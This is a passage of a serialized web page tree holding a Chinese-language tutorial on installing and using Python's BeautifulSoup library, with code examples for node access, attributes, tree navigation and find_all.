beautifulsoup4\n","shell",[33406],{"type":18,"tag":74,"props":33407,"children":33408},{"__ignoreMap":8},[33409],{"type":18,"tag":297,"props":33410,"children":33411},{"class":299,"line":300},[33412,33416,33420],{"type":18,"tag":297,"props":33413,"children":33414},{"style":304},[33415],{"type":24,"value":28691},{"type":18,"tag":297,"props":33417,"children":33418},{"style":310},[33419],{"type":24,"value":28696},{"type":18,"tag":297,"props":33421,"children":33422},{"style":310},[33423],{"type":24,"value":33424}," beautifulsoup4\n",{"type":18,"tag":96,"props":33426,"children":33427},{},[33428,33438],{"type":18,"tag":34,"props":33429,"children":33430},{},[33431,33436],{"type":18,"tag":105,"props":33432,"children":33433},{},[33434],{"type":24,"value":33435},"Info:",{"type":24,"value":33437}," 源码方式安装",{"type":18,"tag":154,"props":33439,"children":33440},{},[33441,33453,33458],{"type":18,"tag":158,"props":33442,"children":33443},{},[33444,33446],{"type":24,"value":33445},"打开源码地址进行下载：",{"type":18,"tag":43,"props":33447,"children":33450},{"href":33448,"rel":33449},"https:\u002F\u002Fwww.crummy.com\u002Fsoftware\u002FBeautifulSoup\u002Fbs4\u002Fdownload\u002F",[47],[33451],{"type":24,"value":33452},"点击访问源码地址",{"type":18,"tag":158,"props":33454,"children":33455},{},[33456],{"type":24,"value":33457},"使用控制台打开进入源码所在路径",{"type":18,"tag":158,"props":33459,"children":33460},{},[33461,33463],{"type":24,"value":33462},"执行命令：",{"type":18,"tag":74,"props":33464,"children":33466},{"className":33465},[],[33467],{"type":24,"value":33468},"python setup.py install",{"type":18,"tag":27,"props":33470,"children":33472},{"id":33471},"适配解释器",[33473],{"type":24,"value":33471},{"type":18,"tag":34,"props":33475,"children":33476},{},[33477],{"type":24,"value":33478},"BeautifulSoup支持python标准库中包含的HTML解析器，但常用的有lxml解析器和html5lib解析器，可以通过下列命令进行安装解析器(安装其一即可）：",{"type":18,"tag":287,"props":33480,"children":33482},{"className":33402,"code":33481,"language":33404,"meta":8,"style":8},"pip install lxml\npip install html5lib\n",[33483],{"type":18,"tag":74,"props":33484,"children":33485},{"__ignoreMap":8},[33486,33502],{"type":18,"tag":297,"props":33487,"children":33488},{"class":299,"line":300},[33489,33493,33497],{"type":18,"tag":297,"props":33490,"children":33491},{"style":304},[33492],{"type":24,"value":28691},{"type":18,"tag":297,"props":33494,"children":33495},{"style":310},[33496],{"type":24,"value":28696},{"type":18,"tag":297,"props":33498,"children":33499},{"style":310},[33500],{"type":24,"value":33501}," lxml\n",{"type":18,"tag":297,"props":33503,"children":33504},{"class":299,"line":657},[33505,33509,33513],{"type":18,"tag":297,"props":33506,"children":33507},{"style":304},[33508],{"type":24,"value":28691},{"type":18,"tag":297,"props":33510,"children":33511},{"style":310},[33512],{"type":24,"value":28696},{"type":18,"tag":297,"props":33514,"children":33515},{"style":310},[33516],{"type":24,"value":33517}," html5lib\n",{"type":18,"tag":27,"props":33519,"children":33521},{"id":33520},"beautifulsoup的使用",[33522],{"type":24,"value":33523},"BeautifulSoup的使用",{"type":18,"tag":337,"props":33525,"children":33527},{"id":33526},"导包",[33528],{"type":24,"value":33526},{"type":18,"tag":287,"props":33530,"children":33532},{"className":28710,"code":33531,"language":28712,"meta":8,"style":8},"from bs4 import BeautifulSoup\n",[33533],{"type":18,"tag":74,"props":33534,"children":33535},{"__ignoreMap":8},[33536],{"type":18,"tag":297,"props":33537,"children":33538},{"class":299,"line":300},[33539],{"type":18,"tag":297,"props":33540,"children":33541},{},[33542],{"type":24,"value":33531},{"type":18,"tag":337,"props":33544,"children":33546},{"id":33545},"创建beautifulsoup对象",[33547],{"type":24,"value":33548},"创建BeautifulSoup对象",{"type":18,"tag":287,"props":33550,"children":33552},{"className":28710,"code":33551,"language":28712,"meta":8,"style":8},"# 创建BeautifulSoup对象并指定解析器为lxml\nsoup = BeautifulSoup(html_doc,features='lxml')\n",[33553],{"type":18,"tag":74,"props":33554,"children":33555},{"__ignoreMap":8},[33556,33564],{"type":18,"tag":297,"props":33557,"children":33558},{"class":299,"line":300},[33559],{"type":18,"tag":297,"props":33560,"children":33561},{},[33562],{"type":24,"value":33563},"# 创建BeautifulSoup对象并指定解析器为lxml\n",{"type":18,"tag":297,"props":33565,"children":33566},{"class":299,"line":657},[33567],{"type":18,"tag":297,"props":33568,"children":33569},{},[33570],{"type":24,"value":33571},"soup = BeautifulSoup(html_doc,features='lxml')\n",{"type":18,"tag":34,"props":33573,"children":33574},{},[33575,33581,33583,33589],{"type":18,"tag":74,"props":33576,"children":33578},{"className":33577},[],[33579],{"type":24,"value":33580},"html_doc",{"type":24,"value":33582},"：为HTML的字符串\n",{"type":18,"tag":74,"props":33584,"children":33586},{"className":33585},[],[33587],{"type":24,"value":33588},"features",{"type":24,"value":33590},"：用于指定解析器",{"type":18,"tag":96,"props":33592,"children":33593},{},[33594,33602],{"type":18,"tag":34,"props":33595,"children":33596},{},[33597],{"type":18,"tag":105,"props":33598,"children":33599},{},[33600],{"type":24,"value":33601},"Tips:",{"type":18,"tag":34,"props":33603,"children":33604},{},[33605,33607,33612,33614,33620],{"type":24,"value":33606},"若HTML为'index.html'类型的文件，则可以将原来的",{"type":18,"tag":74,"props":33608,"children":33610},{"className":33609},[],[33611],{"type":24,"value":33580},{"type":24,"value":33613},"替换为",{"type":18,"tag":74,"props":33615,"children":33617},{"className":33616},[],[33618],{"type":24,"value":33619},"open('index.html')",{"type":24,"value":33621},"即可。",{"type":18,"tag":34,"props":33623,"children":33624},{},[33625,33630],{"type":18,"tag":105,"props":33626,"children":33627},{},[33628],{"type":24,"value":33629},"BeautifulSoup对象的prettify()方法",{"type":24,"value":33631},"可以对输出的内容自动进行格式化排版，按HTML层级添加缩进和换行，结构清晰。",{"type":18,"tag":337,"props":33633,"children":33635},{"id":33634},"获取节点内容",[33636],{"type":24,"value":33634},{"type":18,"tag":34,"props":33638,"children":33639},{},[33640,33645],{"type":18,"tag":105,"props":33641,"children":33642},{},[33643],{"type":24,"value":33644},"获取节点对应的代码",{"type":24,"value":33646},"语法格式如下：",{"type":18,"tag":287,"props":33648,"children":33650},{"className":28710,"code":33649,"language":28712,"meta":8,"style":8},"soup.标签         # 获取节点对应的代码\nsoup.标签.name    # 获取节点对应的名称\n",[33651],{"type":18,"tag":74,"props":33652,"children":33653},{"__ignoreMap":8},[33654,33662],{"type":18,"tag":297,"props":33655,"children":33656},{"class":299,"line":300},[33657],{"type":18,"tag":297,"props":33658,"children":33659},{},[33660],{"type":24,"value":33661},"soup.标签         # 获取节点对应的代码\n",{"type":18,"tag":297,"props":33663,"children":33664},{"class":299,"line":657},[33665],{"type":18,"tag":297,"props":33666,"children":33667},{},[33668],{"type":24,"value":33669},"soup.标签.name    # 获取节点对应的名称\n",{"type":18,"tag":34,"props":33671,"children":33672},{},[33673],{"type":24,"value":20328},{"type":18,"tag":287,"props":33675,"children":33677},{"className":28710,"code":33676,"language":28712,"meta":8,"style":8},"soup = BeautifulSoup(html_doc,features=\"lxml\")\nprint(soup.head)      # 打印head节点\nprint(soup.body)      # 打印body节点\nprint(soup.title)     # 打印title节点\nprint(soup.p.name)    # 打印p节点的名称\n",[33678],{"type":18,"tag":74,"props":33679,"children":33680},{"__ignoreMap":8},[33681,33689,33697,33705,33713],{"type":18,"tag":297,"props":33682,"children":33683},{"class":299,"line":300},[33684],{"type":18,"tag":297,"props":33685,"children":33686},{},[33687],{"type":24,"value":33688},"soup = BeautifulSoup(html_doc,features=\"lxml\")\n",{"type":18,"tag":297,"props":33690,"children":33691},{"class":299,"line":657},[33692],{"type":18,"tag":297,"props":33693,"children":33694},{},[33695],{"type":24,"value":33696},"print(soup.head)      # 打印head节点\n",{"type":18,"tag":297,"props":33698,"children":33699},{"class":299,"line":662},[33700],{"type":18,"tag":297,"props":33701,"children":33702},{},[33703],{"type":24,"value":33704},"print(soup.body)      # 打印body节点\n",{"type":18,"tag":297,"props":33706,"children":33707},{"class":299,"line":799},[33708],{"type":18,"tag":297,"props":33709,"children":33710},{},[33711],{"type":24,"value":33712},"print(soup.title)     # 打印title节点\n",{"type":18,"tag":297,"props":33714,"children":33715},{"class":299,"line":808},[33716],{"type":18,"tag":297,"props":33717,"children":33718},{},[33719],{"type":24,"value":33720},"print(soup.p.name)    # 打印p节点的名称\n",{"type":18,"tag":96,"props":33722,"children":33723},{},[33724,33732],{"type":18,"tag":34,"props":33725,"children":33726},{},[33727,33731],{"type":18,"tag":105,"props":33728,"children":33729},{},[33730],{"type":24,"value":33382},{"type":24,"value":33384},{"type":18,"tag":34,"props":33733,"children":33734},{},[33735,33737,33742],{"type":24,"value":33736},"该获取方法仅打印第一个检测到的",{"type":18,"tag":74,"props":33738,"children":33740},{"className":33739},[],[33741],{"type":24,"value":15438},{"type":24,"value":33743},"标签而忽略其他。",{"type":18,"tag":337,"props":33745,"children":33747},{"id":33746},"获取节点属性",[33748],{"type":24,"value":33746},{"type":18,"tag":34,"props":33750,"children":33751},{},[33752,33754,33759],{"type":24,"value":33753},"若已选择一个指定的节点名称，那么只需调用attrs即可获取这个节点下的所有属性，返回值为",{"type":18,"tag":105,"props":33755,"children":33756},{},[33757],{"type":24,"value":33758},"字典类型",{"type":24,"value":33760},"。语法格式如下：",{"type":18,"tag":287,"props":33762,"children":33764},{"className":28710,"code":33763,"language":28712,"meta":8,"style":8},"soup.标签.attrs           # 获取指定节点的属性\nsoup.标签.attrs[属性名]    # 获取指定节点的指定属性名的值(attrs可省略)\n",[33765],{"type":18,"tag":74,"props":33766,"children":33767},{"__ignoreMap":8},[33768,33776],{"type":18,"tag":297,"props":33769,"children":33770},{"class":299,"line":300},[33771],{"type":18,"tag":297,"props":33772,"children":33773},{},[33774],{"type":24,"value":33775},"soup.标签.attrs           # 获取指定节点的属性\n",{"type":18,"tag":297,"props":33777,"children":33778},{"class":299,"line":657},[33779],{"type":18,"tag":297,"props":33780,"children":33781},{},[33782],{"type":24,"value":33783},"soup.标签.attrs[属性名]    # 获取指定节点的指定属性名的值(attrs可省略)\n",{"type":18,"tag":34,"props":33785,"children":33786},{},[33787],{"type":24,"value":20328},{"type":18,"tag":287,"props":33789,"children":33791},{"className":28710,"code":33790,"language":28712,"meta":8,"style":8},"soup = BeautifulSoup(html_doc,features=\"lxml\")\nprint(soup.meta.attrs)         # 打印meta的属性\nprint(soup.link.attrs)         # 打印link的属性\nprint(soup.div.attrs['id'])    # 打印div的id属性值\nprint(soup.div['id'])          # 打印div的id属性值\n",[33792],{"type":18,"tag":74,"props":33793,"children":33794},{"__ignoreMap":8},[33795,33802,33810,33818,33826],{"type":18,"tag":297,"props":33796,"children":33797},{"class":299,"line":300},[33798],{"type":18,"tag":297,"props":33799,"children":33800},{},[33801],{"type":24,"value":33688},{"type":18,"tag":297,"props":33803,"children":33804},{"class":299,"line":657},[33805],{"type":18,"tag":297,"props":33806,"children":33807},{},[33808],{"type":24,"value":33809},"print(soup.meta.attrs)         # 打印meta的属性\n",{"type":18,"tag":297,"props":33811,"children":33812},{"class":299,"line":662},[33813],{"type":18,"tag":297,"props":33814,"children":33815},{},[33816],{"type":24,"value":33817},"print(soup.link.attrs)         # 打印link的属性\n",{"type":18,"tag":297,"props":33819,"children":33820},{"class":299,"line":799},[33821],{"type":18,"tag":297,"props":33822,"children":33823},{},[33824],{"type":24,"value":33825},"print(soup.div.attrs['id'])    # 打印div的id属性值\n",{"type":18,"tag":297,"props":33827,"children":33828},{"class":299,"line":808},[33829],{"type":18,"tag":297,"props":33830,"children":33831},{},[33832],{"type":24,"value":33833},"print(soup.div['id'])          # 打印div的id属性值\n",{"type":18,"tag":337,"props":33835,"children":33837},{"id":33836},"获取节点包含的文本内容",[33838],{"type":24,"value":33836},{"type":18,"tag":34,"props":33840,"children":33841},{},[33842,33844,33849],{"type":24,"value":33843},"若要获取节点包含的文本内容，只需在节点名称后面添加",{"type":18,"tag":74,"props":33845,"children":33847},{"className":33846},[],[33848],{"type":24,"value":16841},{"type":24,"value":33850},"属性即可。语法如下：",{"type":18,"tag":287,"props":33852,"children":33854},{"className":28710,"code":33853,"language":28712,"meta":8,"style":8},"soup.标签.string     # 获取指定节点的文本内容\n",[33855],{"type":18,"tag":74,"props":33856,"children":33857},{"__ignoreMap":8},[33858],{"type":18,"tag":297,"props":33859,"children":33860},{"class":299,"line":300},[33861],{"type":18,"tag":297,"props":33862,"children":33863},{},[33864],{"type":24,"value":33853},{"type":18,"tag":34,"props":33866,"children":33867},{},[33868],{"type":24,"value":20328},{"type":18,"tag":287,"props":33870,"children":33872},{"className":28710,"code":33871,"language":28712,"meta":8,"style":8},"soup = BeautifulSoup(html_doc,features=\"lxml\")\nprint(soup.title.string)        # 打印title节点包含的文本内容\nprint(soup.link.string)         # 打印link节点包含的文本内容\n",[33873],{"type":18,"tag":74,"props":33874,"children":33875},{"__ignoreMap":8},[33876,33883,33891],{"type":18,"tag":297,"props":33877,"children":33878},{"class":299,"line":300},[33879],{"type":18,"tag":297,"props":33880,"children":33881},{},[33882],{"type":24,"value":33688},{"type":18,"tag":297,"props":33884,"children":33885},{"class":299,"line":657},[33886],{"type":18,"tag":297,"props":33887,"children":33888},{},[33889],{"type":24,"value":33890},"print(soup.title.string)        # 打印title节点包含的文本内容\n",{"type":18,"tag":297,"props":33892,"children":33893},{"class":299,"line":662},[33894],{"type":18,"tag":297,"props":33895,"children":33896},{},[33897],{"type":24,"value":33898},"print(soup.link.string)         # 打印link节点包含的文本内容\n",{"type":18,"tag":337,"props":33900,"children":33902},{"id":33901},"嵌套获取节点内容",[33903],{"type":24,"value":33901},{"type":18,"tag":34,"props":33905,"children":33906},{},[33907,33909,33914],{"type":24,"value":33908},"使用beautifulsoup获取每个节点的内容时，可以通过 ",{"type":18,"tag":74,"props":33910,"children":33912},{"className":33911},[],[33913],{"type":24,"value":1147},{"type":24,"value":33915}," 直接获取下一个节点的内容，代码如下：",{"type":18,"tag":287,"props":33917,"children":33919},{"className":28710,"code":33918,"language":28712,"meta":8,"style":8},"soup = BeautifulSoup(html_doc,features=\"lxml\")\nprint(soup.head.title)         # 打印head节点中title节点内容\nprint(soup.head.title.string)  # 打印head节点中title节点的文本内容\nprint(soup.div.attrs['id'])    # 打印div的id属性值\nprint(soup.div['id'])          # 打印div的id属性值\n",[33920],{"type":18,"tag":74,"props":33921,"children":33922},{"__ignoreMap":8},[33923,33930,33938,33946,33953],{"type":18,"tag":297,"props":33924,"children":33925},{"class":299,"line":300},[33926],{"type":18,"tag":297,"props":33927,"children":33928},{},[33929],{"type":24,"value":33688},{"type":18,"tag":297,"props":33931,"children":33932},{"class":299,"line":657},[33933],{"type":18,"tag":297,"props":33934,"children":33935},{},[33936],{"type":24,"value":33937},"print(soup.head.title)         # 打印head节点中title节点内容\n",{"type":18,"tag":297,"props":33939,"children":33940},{"class":299,"line":662},[33941],{"type":18,"tag":297,"props":33942,"children":33943},{},[33944],{"type":24,"value":33945},"print(soup.head.title.string)  # 打印head节点中title节点的文本内容\n",{"type":18,"tag":297,"props":33947,"children":33948},{"class":299,"line":799},[33949],{"type":18,"tag":297,"props":33950,"children":33951},{},[33952],{"type":24,"value":33825},{"type":18,"tag":297,"props":33954,"children":33955},{"class":299,"line":808},[33956],{"type":18,"tag":297,"props":33957,"children":33958},{},[33959],{"type":24,"value":33833},{"type":18,"tag":96,"props":33961,"children":33962},{},[33963,33972],{"type":18,"tag":34,"props":33964,"children":33965},{},[33966,33970],{"type":18,"tag":105,"props":33967,"children":33968},{},[33969],{"type":24,"value":33435},{"type":24,"value":33971}," 说明",{"type":18,"tag":34,"props":33973,"children":33974},{},[33975,33977,33983],{"type":24,"value":33976},"获取head与其内部的title节点内容时数据类型均为 ",{"type":18,"tag":74,"props":33978,"children":33980},{"className":33979},[],[33981],{"type":24,"value":33982},"\u003Cclass 'bs4.element.Tag'>",{"type":24,"value":33984},"，说明在Tag类的基础上可以获取当前节点的子节点内容",{"type":18,"tag":337,"props":33986,"children":33988},{"id":33987},"关联获取",[33989],{"type":24,"value":33987},{"type":18,"tag":34,"props":33991,"children":33992},{},[33993],{"type":24,"value":33994},"先确认某一节点，然后以该节点为中心获取对应的子节点、孙节点、父节点及兄弟节点。",{"type":18,"tag":34,"props":33996,"children":33997},{},[33998],{"type":18,"tag":105,"props":33999,"children":34000},{},[34001],{"type":24,"value":34002},"获取子节点",{"type":18,"tag":34,"props":34004,"children":34005},{},[34006,34008,34014,34015,34021],{"type":24,"value":34007},"获取某节点下面的所有的子节点时，可以使用 ",{"type":18,"tag":74,"props":34009,"children":34011},{"className":34010},[],[34012],{"type":24,"value":34013},"contents",{"type":24,"value":26222},{"type":18,"tag":74,"props":34016,"children":34018},{"className":34017},[],[34019],{"type":24,"value":34020},"children",{"type":24,"value":34022}," 属性来实现，其中contents返回一个列表，该列表中每个元素都是一个子节点内容，而children所返回的则是一个list_iterator类型的可迭代对象，需要转换成list类型或遍历进行获取。语法如下：",{"type":18,"tag":287,"props":34024,"children":34026},{"className":28710,"code":34025,"language":28712,"meta":8,"style":8},"soup = BeautifulSoup(html_doc,features=\"lxml\")\nprint(soup.head.contents)         # 列表形式打印head节点下所有子节点\nprint(soup.head.children)         # 可迭代对象形式打印head节点下所有子节点\n",[34027],{"type":18,"tag":74,"props":34028,"children":34029},{"__ignoreMap":8},[34030,34037,34045],{"type":18,"tag":297,"props":34031,"children":34032},{"class":299,"line":300},[34033],{"type":18,"tag":297,"props":34034,"children":34035},{},[34036],{"type":24,"value":33688},{"type":18,"tag":297,"props":34038,"children":34039},{"class":299,"line":657},[34040],{"type":18,"tag":297,"props":34041,"children":34042},{},[34043],{"type":24,"value":34044},"print(soup.head.contents)         # 列表形式打印head节点下所有子节点\n",{"type":18,"tag":297,"props":34046,"children":34047},{"class":299,"line":662},[34048],{"type":18,"tag":297,"props":34049,"children":34050},{},[34051],{"type":24,"value":34052},"print(soup.head.children)         # 可迭代对象形式打印head节点下所有子节点\n",{"type":18,"tag":34,"props":34054,"children":34055},{},[34056],{"type":18,"tag":105,"props":34057,"children":34058},{},[34059],{"type":24,"value":34060},"获得孙节点",{"type":18,"tag":34,"props":34062,"children":34063},{},[34064,34066,34072],{"type":24,"value":34065},"在获取某节点下所有的子孙节点时，可以使用 ",{"type":18,"tag":74,"props":34067,"children":34069},{"className":34068},[],[34070],{"type":24,"value":34071},"descendants",{"type":24,"value":34073}," 属性来实现，该属性会返回一个generator对象，其内容需要转换成list类型或遍历进行获取。语法如下：",{"type":18,"tag":287,"props":34075,"children":34077},{"className":28710,"code":34076,"language":28712,"meta":8,"style":8},"soup = BeautifulSoup(html_doc,features=\"lxml\")\n# 打印body节点下所欲子孙节点内容的generator对象\nprint(soup.body.descendants)\n",[34078],{"type":18,"tag":74,"props":34079,"children":34080},{"__ignoreMap":8},[34081,34088,34096],{"type":18,"tag":297,"props":34082,"children":34083},{"class":299,"line":300},[34084],{"type":18,"tag":297,"props":34085,"children":34086},{},[34087],{"type":24,"value":33688},{"type":18,"tag":297,"props":34089,"children":34090},{"class":299,"line":657},[34091],{"type":18,"tag":297,"props":34092,"children":34093},{},[34094],{"type":24,"value":34095},"# 打印body节点下所欲子孙节点内容的generator对象\n",{"type":18,"tag":297,"props":34097,"children":34098},{"class":299,"line":662},[34099],{"type":18,"tag":297,"props":34100,"children":34101},{},[34102],{"type":24,"value":34103},"print(soup.body.descendants)\n",{"type":18,"tag":34,"props":34105,"children":34106},{},[34107],{"type":18,"tag":105,"props":34108,"children":34109},{},[34110],{"type":24,"value":34111},"获取父节点",{"type":18,"tag":34,"props":34113,"children":34114},{},[34115],{"type":24,"value":34116},"获取父节点存在两种方式：",{"type":18,"tag":154,"props":34118,"children":34119},{},[34120],{"type":18,"tag":158,"props":34121,"children":34122},{},[34123,34124,34130],{"type":24,"value":8550},{"type":18,"tag":74,"props":34125,"children":34127},{"className":34126},[],[34128],{"type":24,"value":34129},"parents",{"type":24,"value":34131}," 属性直接获取指定节点的父节点内容，还可以返回父节点及以上节点（祖先节点）内容，其内容需要转换成list类型或遍历进行获取。语法如下：",{"type":18,"tag":287,"props":34133,"children":34135},{"className":28710,"code":34134,"language":28712,"meta":8,"style":8},"soup = BeautifulSoup(html_doc,features='lxml')\nprint(soup.title.parent)  # 打印title节点的父节点内容\nprint(soup.title.parents) # 打印title节点的父节点及以上内容的generator对象\n",[34136],{"type":18,"tag":74,"props":34137,"children":34138},{"__ignoreMap":8},[34139,34146,34154],{"type":18,"tag":297,"props":34140,"children":34141},{"class":299,"line":300},[34142],{"type":18,"tag":297,"props":34143,"children":34144},{},[34145],{"type":24,"value":33571},{"type":18,"tag":297,"props":34147,"children":34148},{"class":299,"line":657},[34149],{"type":18,"tag":297,"props":34150,"children":34151},{},[34152],{"type":24,"value":34153},"print(soup.title.parent)  # 打印title节点的父节点内容\n",{"type":18,"tag":297,"props":34155,"children":34156},{"class":299,"line":662},[34157],{"type":18,"tag":297,"props":34158,"children":34159},{},[34160],{"type":24,"value":34161},"print(soup.title.parents) # 打印title节点的父节点及以上内容的generator对象\n",{"type":18,"tag":96,"props":34163,"children":34164},{},[34165,34173],{"type":18,"tag":34,"props":34166,"children":34167},{},[34168,34172],{"type":18,"tag":105,"props":34169,"children":34170},{},[34171],{"type":24,"value":33435},{"type":24,"value":33971},{"type":18,"tag":34,"props":34174,"children":34175},{},[34176,34178,34183,34185,34191],{"type":24,"value":34177},"parents属性所获取父节点的顺序为head、html、",{"type":18,"tag":297,"props":34179,"children":34180},{},[34181],{"type":24,"value":34182},"document",{"type":24,"value":34184},"，此处的 ",{"type":18,"tag":74,"props":34186,"children":34188},{"className":34187},[],[34189],{"type":24,"value":34190},"[document]",{"type":24,"value":34192}," 表示文档对象，时整个HTML文档，也是BeautifulSoup对象。",{"type":18,"tag":34,"props":34194,"children":34195},{},[34196],{"type":18,"tag":105,"props":34197,"children":34198},{},[34199],{"type":24,"value":34200},"获取兄弟节点",{"type":18,"tag":34,"props":34202,"children":34203},{},[34204,34206,34212,34214,34220,34222,34228,34230,34236],{"type":24,"value":34205},"假若在一段HTML中获取第一个p节点的下一个div兄弟节点时可以使用 ",{"type":18,"tag":74,"props":34207,"children":34209},{"className":34208},[],[34210],{"type":24,"value":34211},"next_sibling",{"type":24,"value":34213}," 属性，若要获取当前div节点的上一个兄弟节点p时，则可以使用 ",{"type":18,"tag":74,"props":34215,"children":34217},{"className":34216},[],[34218],{"type":24,"value":34219},"previous_sibling",{"type":24,"value":34221}," 属性。想获取当前节点后面的所有兄弟节点，则可以使用 ",{"type":18,"tag":74,"props":34223,"children":34225},{"className":34224},[],[34226],{"type":24,"value":34227},"next_siblings",{"type":24,"value":34229}," 属性，若要获取前面的，则使用 ",{"type":18,"tag":74,"props":34231,"children":34233},{"className":34232},[],[34234],{"type":24,"value":34235},"previous_siblings",{"type":24,"value":34237}," 属性。这两个属性都将以generator对象的形式返回，语法格式如下：",{"type":18,"tag":287,"props":34239,"children":34241},{"className":28710,"code":34240,"language":28712,"meta":8,"style":8},"soup = BeautifulSoup(html_doc,features='lxml')\nprint(soup.p.next_sibling)  # 打印第一个p节点的下一个兄弟节点\n# 打印p节点前面的所有兄弟节点的generator对象\nprint(soup.p.previous_siblings)\n",[34242],{"type":18,"tag":74,"props":34243,"children":34244},{"__ignoreMap":8},[34245,34252,34260,34268],{"type":18,"tag":297,"props":34246,"children":34247},{"class":299,"line":300},[34248],{"type":18,"tag":297,"props":34249,"children":34250},{},[34251],{"type":24,"value":33571},{"type":18,"tag":297,"props":34253,"children":34254},{"class":299,"line":657},[34255],{"type":18,"tag":297,"props":34256,"children":34257},{},[34258],{"type":24,"value":34259},"print(soup.p.next_sibling)  # 打印第一个p节点的下一个兄弟节点\n",{"type":18,"tag":297,"props":34261,"children":34262},{"class":299,"line":662},[34263],{"type":18,"tag":297,"props":34264,"children":34265},{},[34266],{"type":24,"value":34267},"# 打印p节点前面的所有兄弟节点的generator对象\n",{"type":18,"tag":297,"props":34269,"children":34270},{"class":299,"line":799},[34271],{"type":18,"tag":297,"props":34272,"children":34273},{},[34274],{"type":24,"value":34275},"print(soup.p.previous_siblings)\n",{"type":18,"tag":337,"props":34277,"children":34279},{"id":34278},"方法获取内容",[34280],{"type":24,"value":34278},{"type":18,"tag":210,"props":34282,"children":34283},{},[34284,34289],{"type":18,"tag":158,"props":34285,"children":34286},{},[34287],{"type":24,"value":34288},"find_all()",{"type":18,"tag":158,"props":34290,"children":34291},{},[34292],{"type":24,"value":34293},"find()",{"type":18,"tag":34,"props":34295,"children":34296},{},[34297],{"type":24,"value":34298},"find_all()获取所有符合条件的内容，find()获取第一个匹配的节点内容，接下来以find_all()为例进行整理：",{"type":18,"tag":287,"props":34300,"children":34302},{"className":28710,"code":34301,"language":28712,"meta":8,"style":8},"find_all(name=None,attrs={},recursive=True,text=None,limit=None,**kwargs)\n",[34303],{"type":18,"tag":74,"props":34304,"children":34305},{"__ignoreMap":8},[34306],{"type":18,"tag":297,"props":34307,"children":34308},{"class":299,"line":300},[34309],{"type":18,"tag":297,"props":34310,"children":34311},{},[34312],{"type":24,"value":34301},{"type":18,"tag":34,"props":34314,"children":34315},{},[34316],{"type":18,"tag":74,"props":34317,"children":34319},{"className":34318},[],[34320],{"type":24,"value":34321},"name参数",{"type":18,"tag":34,"props":34323,"children":34324},{},[34325],{"type":24,"value":34326},"用来指定节点名称，指定该参数以后将返回一个可迭代对象，所有符合条件的均为对象的一个元素。代码如下：",{"type":18,"tag":287,"props":34328,"children":34330},{"className":28710,"code":34329,"language":28712,"meta":8,"style":8},"print(soup.find_all(name='p')) # 打印所有名称为p的节点内容\n",[34331],{"type":18,"tag":74,"props":34332,"children":34333},{"__ignoreMap":8},[34334],{"type":18,"tag":297,"props":34335,"children":34336},{"class":299,"line":300},[34337],{"type":18,"tag":297,"props":34338,"children":34339},{},[34340],{"type":24,"value":34329},{"type":18,"tag":96,"props":34342,"children":34343},{},[34344,34352],{"type":18,"tag":34,"props":34345,"children":34346},{},[34347,34351],{"type":18,"tag":105,"props":34348,"children":34349},{},[34350],{"type":24,"value":33435},{"type":24,"value":33971},{"type":18,"tag":34,"props":34353,"children":34354},{},[34355,34357],{"type":24,"value":34356},"bs4.element.ResultSet类型的数据与python的列表类型，可以使用切片的方式进行数据获取，如：",{"type":18,"tag":74,"props":34358,"children":34360},{"className":34359},[],[34361],{"type":24,"value":34362},"print(soup.find_all(name='p')[0])",{"type":18,"tag":96,"props":34364,"children":34365},{},[34366,34375,34380],{"type":18,"tag":34,"props":34367,"children":34368},{},[34369,34373],{"type":18,"tag":105,"props":34370,"children":34371},{},[34372],{"type":24,"value":33382},{"type":24,"value":34374}," 嵌套获取",{"type":18,"tag":34,"props":34376,"children":34377},{},[34378],{"type":24,"value":34379},"因为bs4.element.ResultSet数据中的每一个元素都是bs4.element.Tag类型，所以可以直接对某一元素进行嵌套获取，代码如下：",{"type":18,"tag":287,"props":34381,"children":34383},{"className":28710,"code":34382,"language":28712,"meta":8,"style":8},"print(soup.find_all(name='p')[0])\nprint(soup.find_all(name='p')[0].find_all(name='a'))\n",[34384],{"type":18,"tag":74,"props":34385,"children":34386},{"__ignoreMap":8},[34387,34395],{"type":18,"tag":297,"props":34388,"children":34389},{"class":299,"line":300},[34390],{"type":18,"tag":297,"props":34391,"children":34392},{},[34393],{"type":24,"value":34394},"print(soup.find_all(name='p')[0])\n",{"type":18,"tag":297,"props":34396,"children":34397},{"class":299,"line":657},[34398],{"type":18,"tag":297,"props":34399,"children":34400},{},[34401],{"type":24,"value":34402},"print(soup.find_all(name='p')[0].find_all(name='a'))\n",{"type":18,"tag":34,"props":34404,"children":34405},{},[34406],{"type":18,"tag":74,"props":34407,"children":34409},{"className":34408},[],[34410],{"type":24,"value":34411},"attrs参数",{"type":18,"tag":34,"props":34413,"children":34414},{},[34415],{"type":24,"value":34416},"在填写attrs参数时，默认情况下需要填写字典类型的参数值，不过也可以通过以赋值的方式填写参数。代码如下：",{"type":18,"tag":287,"props":34418,"children":34420},{"className":28710,"code":34419,"language":28712,"meta":8,"style":8},"print(soup.find_all(attrs={'values':'1'}))\nprint(soup.find_all(value='1')) # 打印value值为1的所有内容\n",[34421],{"type":18,"tag":74,"props":34422,"children":34423},{"__ignoreMap":8},[34424,34432],{"type":18,"tag":297,"props":34425,"children":34426},{"class":299,"line":300},[34427],{"type":18,"tag":297,"props":34428,"children":34429},{},[34430],{"type":24,"value":34431},"print(soup.find_all(attrs={'values':'1'}))\n",{"type":18,"tag":297,"props":34433,"children":34434},{"class":299,"line":657},[34435],{"type":18,"tag":297,"props":34436,"children":34437},{},[34438],{"type":24,"value":34439},"print(soup.find_all(value='1')) # 打印value值为1的所有内容\n",{"type":18,"tag":34,"props":34441,"children":34442},{},[34443],{"type":18,"tag":74,"props":34444,"children":34446},{"className":34445},[],[34447],{"type":24,"value":34448},"text参数",{"type":18,"tag":34,"props":34450,"children":34451},{},[34452],{"type":24,"value":34453},"指定text参数可以获取节点中的文本，该参数可以指定字符串或者正则表达式对象，代码如下：",{"type":18,"tag":287,"props":34455,"children":34457},{"className":28710,"code":34456,"language":28712,"meta":8,"style":8},"print(soup.find_all(text=\"Python\"))\nprint(soup.find_all(text=re.compile('Python')))\n",[34458],{"type":18,"tag":74,"props":34459,"children":34460},{"__ignoreMap":8},[34461,34469],{"type":18,"tag":297,"props":34462,"children":34463},{"class":299,"line":300},[34464],{"type":18,"tag":297,"props":34465,"children":34466},{},[34467],{"type":24,"value":34468},"print(soup.find_all(text=\"Python\"))\n",{"type":18,"tag":297,"props":34470,"children":34471},{"class":299,"line":657},[34472],{"type":18,"tag":297,"props":34473,"children":34474},{},[34475],{"type":24,"value":34476},"print(soup.find_all(text=re.compile('Python')))\n",{"type":18,"tag":337,"props":34